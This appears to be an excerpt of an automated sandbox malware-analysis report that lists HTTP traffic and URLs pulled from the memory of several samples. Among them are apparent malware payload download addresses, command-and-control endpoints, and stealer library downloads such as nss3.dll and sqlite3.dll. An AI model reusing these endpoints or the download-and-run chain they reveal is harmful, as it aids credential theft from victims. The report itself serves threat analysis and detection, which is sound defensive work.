HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900C4F3X-BM-CBT: 1696488253X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: 1D6F504B5A5A465DBDB84F31C63A581DX-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900C4F3X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshldspcl40,msbdsborgv2co,msbwdsbi920cf,optfsth3,premsbdsbchtupcf,wsbfixcachec,wsbqfasmsall_c,wsbqfminiserp_c,wsbref-cX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 516Connection: Keep-AliveCache-Control: no-cacheCookie: SRCHUID=V=2&GUID=CE2BE0509FF742BD822F50D98AD10391&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&HV=1696488191&IPMH=5767d621&IPMID=1696488252989&LUT=1696487541024; CortanaAppUID=2020E25DAB158E420BA06F1C8DEF7959; MUID=81C61E09498D41CC97CDBBA354824ED1; _SS=SID=1D9FAF807E686D422B86BC217FC66C71&CPID=1696488253968&AC=1&CPH=071f2185; _EDGE_S=SID=1D9FAF807E686D422B86BC217FC66C71; MUIDB=81C61E09498D41CC97CDBBA354824ED1

Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Length: 326Content-Type: text/html; charset=us-asciiDate: Fri, 26 Jul 2024 08:40:17 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.9ac2d17.1721983216.12698009Access-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: Access-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 2342Content-Type: text/htmlDate: Fri, 26 Jul 2024 08:44:17 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.2aac2d17.1721983457.d93b1cfAccess-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: Access-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin:

Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/cost/random.exe
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/cost/random.exeW
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/enter.exe
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/enter.exeM32
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/enter.exera
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe
Source: explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe393d
Source: explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exencoded
Source: explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exerb
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/00003002
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/15.113.19/3405117-2476756634-1003(
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/238F-46AF-ADB4-6C85480369C7
Source: explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000012.00000003.3042588900.000000000125E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php&b~
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php(8)
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php/
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php0
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php00003002
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php5
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php8
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php=
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpEscape
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php_
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpaa32fec17.exe.mun
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpe
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpi
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phps
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpsm
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpsoft
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpu
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/c0f9c30b4baed74c61395d7fac00b58987e8e8fda7df30804042ba5ce902415450#1.
Source: explorti.exe, 00000012.00000003.3042588900.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ows
Source: 7ca32398cd.exe, 00000014.00000002.2836006553.000000000266E000.00000004.00000020.00020000.00000000.sdmp, 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025F2000.00000004.00000020.00020000.00000000.sdmp, 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp, 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025F2000.00000004.00000020.00020000.00000000.sdmp, 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/1
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpE
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpJ
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpOoAS
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpR
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpX
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpf
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpj
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phplegram
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phplg2
Source: file.exe, 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phposition:
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phps
Source: file.exe, 00000000.00000002.2426906219.0000000028C5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpw2
Source: file.exe, 00000000.00000002.2433974980.000000002ED60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpx
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpz
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/7w
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll$t
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dllCt
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: file.exe, 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/Fg
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/L
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/Tg
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/X
Source: file.exe, 00000000.00000002.2400608729.0000000002541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/cw
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.0000000002698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/h
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/n
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/pData
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/v
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/xg
Source: file.exe, 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.315499d72b3a3e55be.phposition:
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31s
Source: firefox.exe, 00000021.00000003.3250405380.00000169CD98C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000021.00000003.3250405380.00000169CD98C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000021.00000003.3250405380.00000169CD98C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000021.00000003.3250405380.00000169CD98C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: firefox.exe, 00000021.00000003.3152588745.00000169CE4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3392258143.00000169CAECB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3141099492.00000169D9BFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000021.00000003.3414144429.00000169CAEB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3139946227.00000169D9D3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000021.00000003.3391044621.00000169CAF2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000021.00000003.3391044621.00000169CAF2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000021.00000003.3403954817.00000169CC1E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3228876656.00000169CA6E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3273698360.00000169CAAC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3039034257.00000169C6F3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066433550.00000169D9DE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3277818578.00000169CAAE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386641479.00000169CBCF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3396520559.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3286136241.00000169CAAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3172465493.00000169CBD68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3080819409.00000169D9EF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3393234826.00000169CC1E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3309306098.00000169CC1E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2948970212.00000169CA6F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3287194679.00000169CA6D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3268103076.00000169D9FAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3287194679.00000169CA6E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3073977083.00000169D9EE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3037729550.00000169D9EF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3378661571.00000169D96A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000021.00000003.3336058593.00000169D393C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0
Source: firefox.exe, 00000021.00000003.3141555486.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3232671051.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3329338474.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000021.00000003.3141555486.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3336058593.00000169D393C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3232671051.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3386865064.00000169CBACF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3329338474.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: file.exe, file.exe, 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 00000021.00000003.3239953611.00000169D3982000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000021.00000003.3250405380.00000169CD98C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3123371774.00000169C9EC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3245539528.00000169D34B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3172465493.00000169CBD43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3151922615.00000169D34B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3260285389.00000169CC25E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3322568003.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341178431.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000021.00000003.3396520559.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3245539528.00000169D34B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3151922615.00000169D34B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3322568003.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341178431.00000169D34B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: file.exe, 00000000.00000002.2446727241.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2413692880.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 00000021.00000003.3233159876.00000169D9B3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: firefox.exe, 00000021.00000003.3141555486.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3232671051.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3329338474.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 00000021.00000003.3141555486.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3066703967.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3232671051.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3329338474.00000169D9BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000021.00000003.3381137545.00000169CD9B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3248971153.00000169CD9B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 00000021.00000003.3378661571.00000169D96A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2926052120.00000169C9729000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.2918607295.00000169C9500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000021.00000003.3070395841.00000169D5FE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3239255232.00000169D5FE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000021.00000003.3396520559.00000169D34FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3322568003.00000169D34FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3341178431.00000169D34FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000021.00000003.3342073093.00000169D1A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000021.00000003.3353641675.00000169CC334000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/
Source: firefox.exe, 00000021.00000003.3263338339.00000169CAB13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000021.00000003.3399821667.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3373672563.00000169CBCB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3120804832.00000169CBDBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000021.00000003.3412223817.00000169CBD28000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3370039347.00000169CBD28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: chromecache_259.35.dr	String found in binary or memory: https://apis.google.com/js/api.js
Source: firefox.exe, 00000021.00000003.3344434976.00000169CE481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000021.00000003.3416346439.00000169CAC5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000021.00000003.3389754862.00000169CAF85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400899355.00000169CAF85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415533966.00000169CAC98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3413469989.00000169CAF89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release/Win
Source: firefox.exe, 00000021.00000003.3389754862.00000169CAF85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3400899355.00000169CAF85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3415533966.00000169CAC98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3413469989.00000169CAF89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/re
